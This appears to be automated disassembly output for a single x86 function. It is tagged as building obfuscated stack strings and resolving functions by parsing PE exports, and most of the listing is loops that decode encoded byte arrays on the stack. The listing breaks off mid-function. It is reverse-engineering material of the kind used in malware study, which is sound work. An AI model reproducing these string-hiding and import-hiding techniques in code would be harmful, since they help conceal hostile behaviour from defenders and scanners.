Function at 0x1009b03b
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1014b124
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x520
push ebx
push esi
mov ebx, ecx
mov dword [esp + 0x3c], 1
push edi
mov edi, edx
lea ecx, [esp + 0x420]
push ebx
lea edx, [esp + 0x44]
call fcn.10031304
pop ecx
and dword [esp + 0x534], 0
xor ecx, ecx
mov dword [esp + 0x80], 0x68007405
xor esi, esi
mov dword [esp + 0x84], 0x75046e06
mov dword [esp + 0x88], 0x79087d02
mov dword [esp + 0x8c], 0xdd67b904
mov dword [esp + 0x90], 0x87017203
mov dword [esp + 0x94], 0x86098007
cmp ecx, 0xc
jne 0x1009b0d8
push 4
pop esi
push 0xe
pop ecx
jmp 0x1009b10a
movzx eax, byte [esp + ecx + 0x81]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009b0fb
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x80]
mov byte [esp + eax + 0x2e4], dl
add ecx, 2
cmp ecx, 0x18
jb 0x1009b0cb
lea eax, [esp + 0x2e4]
mov byte [esp + 0x2ee], 0
push eax
lea ecx, [esp + 0x3b4]
call fcn.1001b5bd
push eax
mov ecx, edi
mov byte [esp + 0x538], 1
call fcn.1001c95a
push 0
push 1
lea ecx, [esp + 0x3b8]
mov dword [esp + 0x48], eax
mov byte [esp + 0x53c], 0
call fcn.10016cae
xor eax, eax
mov dword [esp + 0x198], 0x6c00730f
lea edi, [esp + 0x2e4]
mov dword [esp + 0x19c], 0x6e0a7903
stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x1a0], 0x800e6807
xor esi, esi
mov dword [esp + 0x1a4], 0x78098002
mov dword [esp + 0x1a8], 0x74048408
stosd dword es:[edi], eax
mov dword [esp + 0x1ac], 0x83058106
mov dword [esp + 0x1b0], 0x890b7a0c
mov dword [esp + 0x1b4], 0x8d018210
stosw word es:[edi], ax
mov dword [esp + 0x1b8], 0x48345605
mov word [esp + 0x1bc], 0xd36
mov byte [esp + 0x1be], 0x95
stosb byte es:[edi], al
cmp ecx, 0x20
jne 0x1009b1ee
push 5
pop esi
push 0x23
pop ecx
jmp 0x1009b220
movzx eax, byte [esp + ecx + 0x199]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009b211
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x198]
mov byte [esp + eax + 0x384], dl
add ecx, 2
cmp ecx, 0x27
jb 0x1009b1e1
lea eax, [esp + 0x384]
mov byte [esp + 0x395], 0
push eax
lea ecx, [esp + 0x40c]
call fcn.1001b5bd
mov byte [esp + 0x534], 2
lea edi, [esp + 0x384]
mov ecx, dword [esp + 0x40]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x408]
push eax
call fcn.1001c95a
mov esi, eax
mov dword [esp + 0xb4], 0x67016a00
mov dword [esp + 0x194], esi
xor edx, edx
mov word [esp + 0xb8], 0x7802
movzx ecx, byte [esp + edx + 0xb5]
sub ecx, edx
dec ecx
jns 0x1009b2ab
or eax, 0xffffffff
sub eax, ecx
add ecx, 0x100
and eax, 0xffffff00
add ecx, eax
movzx eax, byte [esp + edx + 0xb4]
add edx, 2
mov byte [esp + eax + 0x1d4], cl
cmp edx, 6
jb 0x1009b28c
lea eax, [esp + 0x1d4]
mov byte [esp + 0x1d7], 0
push eax
lea ecx, [esp + 0x358]
call fcn.1001b5bd
lea eax, [esp + 0x354]
mov byte [esp + 0x534], 3
and dword [esp + 0x1d4], 0
mov ecx, esi
push eax
call fcn.1001c95a
xor ecx, ecx
mov dword [esp + 0x190], eax
mov dword [esp + 0x10], 0x79026506
xor esi, esi
mov dword [esp + 0x14], 0x6b097104
mov dword [esp + 0x18], 0x74057208
mov dword [esp + 0x1c], 0x58087b01
mov dword [esp + 0x20], 0x478163c8
mov dword [esp + 0x24], 0x820a50c3
mov dword [esp + 0x28], 0x7c007203
mov word [esp + 0x2c], 0x7407
cmp ecx, 0xe
jne 0x1009b354
push 8
pop esi
push 0x14
pop ecx
jmp 0x1009b380
movzx eax, byte [esp + ecx + 0x11]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009b374
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x10]
mov byte [esp + eax + 0x308], dl
add ecx, 2
cmp ecx, 0x1e
jb 0x1009b347
lea eax, [esp + 0x308]
mov byte [esp + 0x313], 0
push eax
lea ecx, [esp + 0x340]
call fcn.1001b5bd
xor eax, eax
mov byte [esp + 0x534], 4
lea edi, [esp + 0x308]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x33c]
mov edi, dword [esp + 0x194]
mov ecx, edi
push eax
call fcn.1001c95a
push 6
lea ecx, [esp + 0x3cc]
mov dword [esp + 0x1e4], eax
call fcn.1001be44
mov ecx, dword [esp + 0x190]
mov byte [esp + 0x534], 5
call fcn.1001cbd0
test al, al
je 0x1009ca66
call fcn.1001c5e0
test al, al
jne 0x1009ca66
push 0xf
xor eax, eax
pop edx
mov dword [esp + 0x304], edx
mov dword [esp + 0x300], eax
mov byte [esp + 0x2f0], al
mov dword [esp + 0x264], edx
mov dword [esp + 0x260], eax
mov byte [esp + 0x250], al
mov byte [esp + 0x534], 7
mov ecx, eax
mov dword [esp + 0x80], 0x6f026201
mov esi, eax
mov byte [esp + 0x84], dl
mov dword [esp + 0x85], 0x505be25e
mov dword [esp + 0x89], 0xd7841506
mov dword [esp + 0x8d], 0xcb56aeac
mov dword [esp + 0x91], 0x78007fd0
mov word [esp + 0x95], 0x7b03
cmp ecx, 4
jne 0x1009b49b
push 0x11
mov esi, edx
pop ecx
jmp 0x1009b4d0
movzx eax, byte [esp + ecx + 0x81]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009b4be
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x80]
push 0xf
mov byte [esp + eax + 0x1dc], dl
pop edx
add ecx, 2
cmp ecx, 0x17
jb 0x1009b48f
lea eax, [esp + 0x1d8]
mov byte [esp + 0x1dc], 0
push eax
lea ecx, [esp + 0x370]
call fcn.1001b5bd
lea eax, [esp + 0x36c]
mov byte [esp + 0x534], 8
and dword [esp + 0x1d8], 0
mov ecx, edi
push eax
mov byte [esp + 0x1e0], 0
call fcn.1001cac0
test al, al
je 0x1009b599
lea eax, [esp + 0x36c]
mov ecx, edi
push eax
call fcn.1001c95a
mov ecx, eax
call fcn.1001cbc6
test al, al
je 0x1009b599
lea eax, [esp + 0x230]
push eax
push ecx
lea eax, [esp + 0x374]
mov ecx, edi
push eax
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c228
push eax
lea ecx, [esp + 0x2f4]
call fcn.100347b9
xor ebx, ebx
lea ecx, [esp + 0x230]
push ebx
push 1
call fcn.10016cae
lea edx, [esp + 0x2f0]
lea ecx, [esp + 0x230]
call fcn.10071d6b
push eax
lea ecx, [esp + 0x254]
call fcn.100347b9
jmp 0x1009b602
cmp dword [ebx + 0x14], 8
jb 0x1009b5a1
mov ebx, dword [ebx]
push ebx
call fcn.10127e15
pop ecx
push 0
push 0x20
lea ecx, [esp + 0x258]
call fcn.1001b796
push 0x20
xor edi, edi
pop ebx
cmp dword [esp + 0x264], 0x10
lea esi, [esp + 0x250]
cmovae esi, dword [esp + 0x250]
call fcn.10127df4
mov byte [esi + edi], al
inc edi
dec ebx
jne 0x1009b5bd
push ecx
lea edx, [esp + 0x254]
lea ecx, [esp + 0x234]
call fcn.10071d23
pop ecx
push eax
lea ecx, [esp + 0x2f4]
call fcn.100347b9
push ebx
push 1
lea ecx, [esp + 0x238]
call fcn.10016cae
lea ecx, [esp + 0x3f0]
call fcn.100327b8
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x258]
mov byte [esp + 0x53c], 9
push eax
lea ecx, [esp + 0x3fc]
call fcn.1001b84a
sub esp, 0x18
lea eax, [esp + 0x408]
mov ecx, esp
push eax
call fcn.10018f9d
lea ecx, [esp + 0x3c8]
call fcn.100e1015
add esp, 0x18
push 7
lea ecx, [esp + 0x2d4]
mov byte [esp + 0x538], 0xa
call fcn.1001be44
mov byte [esp + 0x534], 0xb
mov ecx, ebx
mov dword [esp + 0x10], 0x710f7100
mov esi, ebx
mov dword [esp + 0x14], 0x6426f7e
mov dword [esp + 0x18], 0xc983a775
mov dword [esp + 0x1c], 0x1c28a8da
mov dword [esp + 0x20], 0xb72045b
mov dword [esp + 0x24], 0xc6a0577
mov dword [esp + 0x28], 0x97a027c
mov dword [esp + 0x2c], 0x6740a83
mov dword [esp + 0x30], 0xd7f0780
mov dword [esp + 0x34], 0x1850f7e
mov dword [esp + 0x38], 0xe7a088b
mov word [esp + 0x3c], 0x38c
mov byte [esp + 0x3e], 0x93
cmp ecx, 2
jne 0x1009b6ef
push 0xf
pop esi
push esi
pop ecx
jmp 0x1009b71b
movzx eax, byte [esp + ecx + 0x11]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009b70f
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x10]
mov byte [esp + eax + 0x80], dl
add ecx, 2
cmp ecx, 0x2f
jb 0x1009b6e3
lea eax, [esp + 0x80]
mov byte [esp + 0x90], bl
push eax
lea ecx, [esp + 0x3dc]
call fcn.1001b5bd
xor eax, eax
lea edi, [esp + 0x80]
stosd dword es:[edi], eax
lea ecx, [esp + 0x210]
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
call fcn.1001beba
mov eax, ecx
mov byte [esp + 0x534], 0xd
push eax
push ecx
lea eax, [esp + 0x3e0]
push eax
lea ecx, [esp + 0x2dc]
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
lea ecx, [esp + 0x210]
mov byte [esp + 0x534], 0xc
call fcn.1001c059
mov dword [esp + 0x98], 0xe60a6900
mov ecx, ebx
mov dword [esp + 0x9c], 0x1a769562
mov esi, ebx
mov dword [esp + 0xa0], 0xe9829949
mov dword [esp + 0xa4], 0x6d036401
mov word [esp + 0xa8], 0x7a02
cmp ecx, 2
jne 0x1009b7dc
push 0xa
pop esi
push esi
pop ecx
jmp 0x1009b80e
movzx eax, byte [esp + ecx + 0x99]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009b7ff
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x98]
mov byte [esp + eax + 0xb4], dl
add ecx, 2
cmp ecx, 0x12
jb 0x1009b7d0
push ecx
lea edx, [esp + 0x3b4]
mov byte [esp + 0xbc], bl
lea ecx, [esp + 0x2a4]
call fcn.10071d23
pop ecx
push eax
lea ecx, [esp + 0x214]
mov byte [esp + 0x538], 0xe
call fcn.1001bef9
lea eax, [esp + 0xb4]
mov byte [esp + 0x534], 0xf
push eax
lea ecx, [esp + 0x234]
call fcn.1001b5bd
lea ecx, [esp + 0x210]
mov byte [esp + 0x534], 0x10
push ecx
push ecx
push eax
lea ecx, [esp + 0x2dc]
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
push ebx
push 1
lea ecx, [esp + 0x238]
call fcn.10016cae
lea ecx, [esp + 0x210]
mov byte [esp + 0x534], 0xe
call fcn.1001c059
push ebx
push 1
lea ecx, [esp + 0x2a8]
mov byte [esp + 0x53c], 0xc
call fcn.10016cae
push dword [esp + 0x190]
lea eax, [esp + 0x358]
mov dword [esp + 0xb8], ebx
push ecx
push eax
lea ecx, [esp + 0x2dc]
mov byte [esp + 0xc4], bl
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
lea ecx, [esp + 0x198]
call fcn.1001e857
lea eax, [esp + 0x2d0]
mov byte [esp + 0x534], 0x11
push eax
lea eax, [esp + 0x43c]
push eax
call fcn.1001e872
mov dword [esp + 0x204], ebx
mov dword [esp + 0x208], ebx
mov dword [esp + 0x20c], ebx
lea edx, [esp + 0x420]
mov byte [esp + 0x534], 0x13
lea ecx, [esp + 0x398]
call fcn.1002d51f
mov byte [esp + 0x534], 0x14
mov dword [esp + 0xc0], 0x720e641b
mov dword [esp + 0xc4], 0x7e21341a
mov dword [esp + 0xc8], 0x720f6e36
mov dword [esp + 0xcc], 0x3e077c26
mov dword [esp + 0xd0], 0x7f108415
mov dword [esp + 0xd4], 0x903a8737
mov dword [esp + 0xd8], 0x842f8d30
mov dword [esp + 0xdc], 0x4e34932a
mov dword [esp + 0xe0], 0x99354f2c
mov dword [esp + 0xe4], 0x9e095406
mov dword [esp + 0xe8], 0x5a2e9632
mov ecx, ebx
mov dword [esp + 0xec], 0xa127a408
mov esi, ebx
mov dword [esp + 0xf0], 0xa01f9611
mov dword [esp + 0xf4], 0x682d9b39
mov dword [esp + 0xf8], 0x92168411
mov dword [esp + 0xfc], 0x44d0def9
mov dword [esp + 0x100], 0xb9e4cb7c
mov dword [esp + 0x104], 0x6f81004f
mov dword [esp + 0x108], 0x17305c7
mov dword [esp + 0x10c], 0xbaa19af
mov dword [esp + 0x110], 0x24722b6d
mov dword [esp + 0x114], 0xaaa31b6
mov dword [esp + 0x118], 0x1ebd25be
mov dword [esp + 0x11c], 0x4b40cba
mov dword [esp + 0x120], 0x29b212c2
mov dword [esp + 0x124], 0x3c41882
mov dword [esp + 0x128], 0x2c214c7
mov dword [esp + 0x12c], 0x16bf23cf
mov dword [esp + 0x130], 0x1cd31d8d
mov dword [esp + 0x134], 0x28d40dcb
mov dword [esp + 0x138], 0x22dc33cc
mov dword [esp + 0x13c], 0x38d220d0
mov dword [esp + 0x140], 0xd417d8
mov word [esp + 0x144], 0x13db
mov byte [esp + 0x146], 0xe5
cmp ecx, 0x38
jne 0x1009bae4
push 0x11
pop esi
push 0x47
pop ecx
jmp 0x1009bb17
movzx eax, byte [esp + ecx + 0xc1]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009bb07
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0xc0]
mov word [esp + eax*2 + 0x4b0], dx
add ecx, 2
cmp ecx, 0x87
jb 0x1009bad7
xor eax, eax
mov dword [esp + 0xc0], 0x6823620e
mov word [esp + 0x526], ax
mov ecx, ebx
mov dword [esp + 0xc4], 0x48403135
mov esi, ebx
mov dword [esp + 0xc8], 0x74336a3b
mov dword [esp + 0xcc], 0x4a592d36
mov dword [esp + 0xd0], 0x82173e26
mov dword [esp + 0xd4], 0x8c4b7614
mov dword [esp + 0xd8], 0x8f15881c
mov dword [esp + 0xdc], 0x30f844a
mov dword [esp + 0xe0], 0xd1cb7469
mov dword [esp + 0xe4], 0x55dd274c
mov dword [esp + 0xe8], 0x7679a7d1
mov dword [esp + 0xec], 0xd2c3ed5
mov dword [esp + 0xf0], 0x5a785441
mov dword [esp + 0xf4], 0x538a4196
mov dword [esp + 0xf8], 0x903d56
mov dword [esp + 0xfc], 0x124f5070
mov dword [esp + 0x100], 0x2b705b9a
mov dword [esp + 0x104], 0x1da74499
mov dword [esp + 0x108], 0x118027a7
mov dword [esp + 0x10c], 0x22a451a9
mov dword [esp + 0x110], 0x32a804a4
mov dword [esp + 0x114], 0x9b601bf
mov dword [esp + 0x118], 0x5cbf45c2
mov dword [esp + 0x11c], 0x49bd2d7d
mov dword [esp + 0x120], 0x3b843bf
mov dword [esp + 0x124], 0x13910cc9
mov dword [esp + 0x128], 0x46c902bc
mov dword [esp + 0x12c], 0x1ac2218a
mov dword [esp + 0x130], 0x258330cb
mov dword [esp + 0x134], 0xbce31d9
mov dword [esp + 0x138], 0x42781ece
mov dword [esp + 0x13c], 0x16d229d0
mov dword [esp + 0x140], 0x57e22ada
mov dword [esp + 0x144], 0x3fb14fda
mov dword [esp + 0x148], 0xae13983
mov dword [esp + 0x14c], 0x24e337ed
mov dword [esp + 0x150], 0x56f152f1
mov dword [esp + 0x154], 0x5f710b1
mov dword [esp + 0x158], 0x1bf22ef7
mov dword [esp + 0x15c], 0x19f43800
mov dword [esp + 0x160], 0x28073cc0
mov dword [esp + 0x164], 0x55eb0803
mov dword [esp + 0x168], 0x2c0b34ec
mov dword [esp + 0x16c], 0x5de02006
mov dword [esp + 0x170], 0x1f1118cf
mov dword [esp + 0x174], 0x4de12faf
mov dword [esp + 0x178], 0x6d80710
mov dword [esp + 0x17c], 0x4e104c21
mov dword [esp + 0x180], 0x48230f16
mov dword [esp + 0x184], 0x3a034716
mov dword [esp + 0x188], 0x58f35e25
mov byte [esp + 0x18c], 0x2b
cmp ecx, 0x1e
jne 0x1009bd76
push 0xf
pop esi
push 0x2b
pop ecx
jmp 0x1009bda8
movzx eax, byte [esp + ecx + 0xc1]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009bd99
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0xc0]
mov byte [esp + eax + 0x450], dl
add ecx, 2
cmp ecx, 0xcd
jb 0x1009bd69
lea eax, [esp + 0x450]
mov byte [esp + 0x4af], bl
push eax
lea ecx, [esp + 0x2a4]
call fcn.1001b5bd
mov esi, eax
lea eax, [esp + 0x4b0]
mov byte [esp + 0x534], 0x15
push eax
lea ecx, [esp + 0x234]
call fcn.100140d4
mov byte [esp + 0x534], 0x16
lea ecx, [esp + 0x398]
cmp dword [esp + 0x3ac], 8
mov edx, esi
cmovae ecx, dword [esp + 0x398]
push ecx
push ebx
lea ecx, [esp + 0x20c]
push ecx
lea ecx, [esp + 0x444]
push ecx
mov ecx, eax
call fcn.1006398e
add esp, 0x10
lea ecx, [esp + 0x230]
mov esi, eax
push ebx
push 1
call fcn.10014706
push ebx
push 1
lea ecx, [esp + 0x2a8]
mov byte [esp + 0x53c], 0x14
call fcn.10016cae
push 0x1e
pop ecx
xor eax, eax
lea edi, [esp + 0x4b0]
push 0x60
rep stosd dword es:[edi], eax
lea eax, [esp + 0x454]
push ebx
push eax
call fcn.10123950
add esp, 0xc
mov ecx, esi
call fcn.10063977
test al, al
je 0x1009c9c0
mov ebx, dword [esp + 0x204]
cmp ebx, dword [esp + 0x208]
je 0x1009c9be
lea ecx, [esp + 0xc0]
call fcn.1001a666
push 0
lea ecx, [esp + 0x224]
mov byte [esp + 0x538], 0x17
call fcn.1001be44
mov byte [esp + 0x534], 0x18
xor ecx, ecx
mov dword [esp + 0x10], 0x76006f03
xor esi, esi
mov dword [esp + 0x14], 0x6e026e01
mov dword [esp + 0x18], 0x2578590d
mov dword [esp + 0x1c], 0x888f46f1
mov dword [esp + 0x20], 0xeb7d4e11
mov dword [esp + 0x24], 0x76a049e
mov dword [esp + 0x28], 0x572087d
mov word [esp + 0x2c], 0x683
mov byte [esp + 0x2e], 0x86
cmp ecx, 8
jne 0x1009bf14
push 0xd
pop esi
push 0x13
pop ecx
jmp 0x1009bf40
movzx eax, byte [esp + ecx + 0x11]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009bf34
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x10]
mov byte [esp + eax + 0x27c], dl
add ecx, 2
cmp ecx, 0x1f
jb 0x1009bf07
lea eax, [esp + 0x27c]
mov byte [esp + 0x285], 0
push eax
lea ecx, [esp + 0x2a4]
call fcn.1001b5bd
mov byte [esp + 0x534], 0x19
lea edi, [esp + 0x27c]
xor eax, eax
mov dword [esp + 0x98], 0x7c057901
stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x9c], 0x5341190c
xor esi, esi
mov dword [esp + 0xa0], 0xc81867eb
mov dword [esp + 0xa4], 0x4008ddde
stosd dword es:[edi], eax
mov dword [esp + 0xa8], 0x6c007502
mov dword [esp + 0xac], 0x7d047203
stosw word es:[edi], ax
cmp ecx, 4
jne 0x1009bfcc
push 0xc
pop esi
push 0xe
pop ecx
jmp 0x1009bffe
movzx eax, byte [esp + ecx + 0x99]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009bfef
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x98]
mov byte [esp + eax + 0x248], dl
add ecx, 2
cmp ecx, 0x18
jb 0x1009bfbf
lea eax, [esp + 0x248]
mov byte [esp + 0x24e], 0
push eax
lea ecx, [esp + 0x234]
call fcn.1001b5bd
xor eax, eax
mov byte [esp + 0x534], 0x1a
lea edi, [esp + 0x248]
stosd dword es:[edi], eax
push ecx
lea ecx, [esp + 0x224]
push ecx
stosw word es:[edi], ax
lea ecx, [esp + 0xc8]
stosb byte es:[edi], al
mov eax, dword [esp + 0x210]
sub eax, ebx
add eax, ebx
push eax
push ebx
call fcn.1001a6ce
test al, al
je 0x1009c97c
lea eax, [esp + 0x2a0]
push eax
lea ecx, [esp + 0x224]
call fcn.1001cac0
test al, al
je 0x1009c97c
lea eax, [esp + 0x230]
push eax
lea ecx, [esp + 0x224]
call fcn.1001cac0
test al, al
je 0x1009c97c
lea eax, [esp + 0x3d8]
push eax
lea ecx, [esp + 0x224]
call fcn.1001c95a
mov ecx, eax
call fcn.1001c2b1
cmp eax, 1
jne 0x1009c97c
lea eax, [esp + 0x33c]
push eax
lea ecx, [esp + 0x224]
call fcn.1001cac0
test al, al
je 0x1009c55a
lea eax, [esp + 0x33c]
push eax
lea ecx, [esp + 0x224]
call fcn.1001c95a
push 0
lea ecx, [esp + 0x324]
mov dword [esp + 0x44], eax
call fcn.1001be44
push 4
lea ecx, [esp + 0x1f4]
mov byte [esp + 0x538], 0x1b
call fcn.1001be44
xor eax, eax
mov dword [esp + 0x2cc], 0xf
mov dword [esp + 0x2c8], eax
mov byte [esp + 0x2b8], al
mov ebx, eax
mov dword [esp + 0x1ec], eax
mov edi, eax
mov dword [esp + 0x1e4], ebx
mov dword [esp + 0x1e8], edi
mov byte [esp + 0x534], 0x1e
mov esi, eax
mov ecx, dword [esp + 0x40]
call fcn.1001c595
mov dword [esp + 0xbc], eax
test eax, eax
jle 0x1009c215
mov edi, eax
mov ecx, dword [esp + 0x40]
lea eax, [esp + 0x320]
push eax
push esi
lea eax, [esp + 0x1c8]
push eax
call fcn.1001c8c8
push eax
lea ecx, [esp + 0x1f4]
mov byte [esp + 0x538], 0x1f
call fcn.1001c0d6
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x1e
call fcn.1001c059
lea ecx, [esp + 0x1f0]
call fcn.1001cbc6
test al, al
je 0x1009c1fe
lea eax, [esp + 0x98]
push eax
call fcn.1001c228
push eax
lea ecx, [esp + 0x2bc]
call fcn.100347b9
push 0
push 1
lea ecx, [esp + 0xa0]
call fcn.10016cae
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x1e8]
call fcn.1001fd66
inc esi
cmp esi, edi
jl 0x1009c16d
mov edi, dword [esp + 0x1e8]
mov ebx, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
xor esi, esi
call fcn.1001c595
mov dword [esp + 0xbc], eax
test eax, eax
jle 0x1009c2fa
mov ecx, dword [esp + 0x1e0]
lea eax, [esp + 0x320]
push eax
push esi
lea eax, [esp + 0x1c8]
push eax
call fcn.1001c8c8
push eax
lea ecx, [esp + 0x1f4]
mov byte [esp + 0x538], 0x20
call fcn.1001c0d6
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x1e
call fcn.1001c059
lea ecx, [esp + 0x1f0]
call fcn.1001cbc6
test al, al
je 0x1009c2ec
lea eax, [esp + 0x98]
push eax
call fcn.1001c228
push eax
lea ecx, [esp + 0x2bc]
call fcn.100347b9
push 0
push 1
lea ecx, [esp + 0xa0]
call fcn.10016cae
push edi
push ebx
lea edx, [esp + 0x2c0]
lea ecx, [esp + 0x48]
call fcn.100a489a
pop ecx
pop ecx
cmp dword [eax], edi
jne 0x1009c2ec
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x1e8]
call fcn.1001fd66
mov edi, dword [esp + 0x1e8]
mov ebx, dword [esp + 0x1e4]
inc esi
cmp esi, dword [esp + 0xbc]
jl 0x1009c232
push 6
lea ecx, [esp + 0x214]
call fcn.1001be44
mov byte [esp + 0x534], 0x21
mov esi, ebx
cmp ebx, edi
je 0x1009c35a
push esi
lea ecx, [esp + 0x26c]
call fcn.1001bef9
lea eax, [esp + 0x268]
mov byte [esp + 0x534], 0x22
push eax
lea ecx, [esp + 0x214]
call fcn.1001c98c
lea ecx, [esp + 0x268]
mov byte [esp + 0x534], 0x21
call fcn.1001c059
add esi, 0x18
cmp esi, edi
jne 0x1009c316
lea eax, [esp + 0x210]
push eax
push ecx
mov ecx, dword [esp + 0x19c]
lea eax, [esp + 0x344]
push eax
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
push 6
lea ecx, [esp + 0x26c]
call fcn.1001be44
and dword [esp + 0x298], 0
mov dword [esp + 0x29c], 0xf
mov byte [esp + 0x288], 0
mov ecx, dword [esp + 0x190]
xor esi, esi
mov byte [esp + 0x534], 0x24
call fcn.1001c595
mov dword [esp + 0xbc], eax
test eax, eax
jle 0x1009c4b5
mov ecx, dword [esp + 0x190]
lea eax, [esp + 0x320]
push eax
push esi
lea eax, [esp + 0xa0]
push eax
call fcn.1001c8c8
push eax
lea ecx, [esp + 0x1f4]
mov byte [esp + 0x538], 0x25
call fcn.1001c0d6
lea ecx, [esp + 0x98]
mov byte [esp + 0x534], 0x24
call fcn.1001c059
lea ecx, [esp + 0x1f0]
call fcn.1001cbc6
test al, al
je 0x1009c4a7
lea eax, [esp + 0x44]
push eax
call fcn.1001c228
push eax
lea ecx, [esp + 0x28c]
call fcn.100347b9
push 0
push 1
lea ecx, [esp + 0x4c]
call fcn.10016cae
push edi
push ebx
lea edx, [esp + 0x290]
lea ecx, [esp + 0x48]
call fcn.100a489a
pop ecx
pop ecx
cmp dword [eax], edi
jne 0x1009c4a7
lea eax, [esp + 0x288]
push eax
lea ecx, [esp + 0x1c4]
call fcn.1001bef9
lea eax, [esp + 0x1c0]
mov byte [esp + 0x534], 0x26
push eax
lea ecx, [esp + 0x26c]
call fcn.1001c98c
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x24
call fcn.1001c059
inc esi
cmp esi, dword [esp + 0xbc]
jl 0x1009c3cd
mov ebx, dword [esp + 0x194]
lea eax, [esp + 0x268]
push eax
push ecx
lea eax, [esp + 0x35c]
mov ecx, ebx
push eax
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
push 0
push 1
lea ecx, [esp + 0x290]
call fcn.10016cae
lea ecx, [esp + 0x268]
mov byte [esp + 0x534], 0x21
call fcn.1001c059
lea ecx, [esp + 0x210]
mov byte [esp + 0x534], 0x1e
call fcn.1001c059
lea ecx, [esp + 0x1e4]
call fcn.1001d29a
push 0
push 1
lea ecx, [esp + 0x2c0]
call fcn.10016cae
lea ecx, [esp + 0x1f0]
mov byte [esp + 0x534], 0x1b
call fcn.1001c059
lea ecx, [esp + 0x320]
mov byte [esp + 0x534], 0x1a
call fcn.1001c059
jmp 0x1009c5b8
push dword [esp + 0x190]
mov ebx, dword [esp + 0x198]
lea eax, [esp + 0x358]
push ecx
push eax
mov ecx, ebx
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
mov esi, dword [esp + 0x1e0]
mov ecx, esi
call fcn.1001cb9d
test al, al
je 0x1009c59f
lea eax, [esp + 0x3c8]
push eax
call fcn.1001c0d6
push esi
push ecx
lea eax, [esp + 0x344]
mov ecx, ebx
push eax
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
lea eax, [esp + 0x2a0]
push eax
lea ecx, [esp + 0x224]
call fcn.1001c95a
push eax
push ecx
lea eax, [esp + 0x2a8]
mov ecx, ebx
push eax
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
xor ecx, ecx
mov dword [esp + 0x44], 0x75096600
mov dword [esp + 0x48], 0x7fa50a68
xor esi, esi
mov dword [esp + 0x4c], 0x25f305d
mov dword [esp + 0x50], 0x97d0173
mov dword [esp + 0x54], 0x46e0a7b
mov dword [esp + 0x58], 0x76e087d
mov dword [esp + 0x5c], 0x6760573
mov word [esp + 0x60], 0x372
mov byte [esp + 0x62], 0x7e
cmp ecx, 2
jne 0x1009c639
push 9
pop esi
push esi
pop ecx
jmp 0x1009c665
movzx eax, byte [esp + ecx + 0x45]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009c659
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x44]
mov byte [esp + eax + 0x314], dl
add ecx, 2
cmp ecx, 0x1f
jb 0x1009c62d
lea eax, [esp + 0x314]
mov byte [esp + 0x31f], 0
push eax
lea ecx, [esp + 0x48]
call fcn.1001b5bd
mov esi, eax
lea eax, [esp + 0x230]
mov byte [esp + 0x534], 0x27
push eax
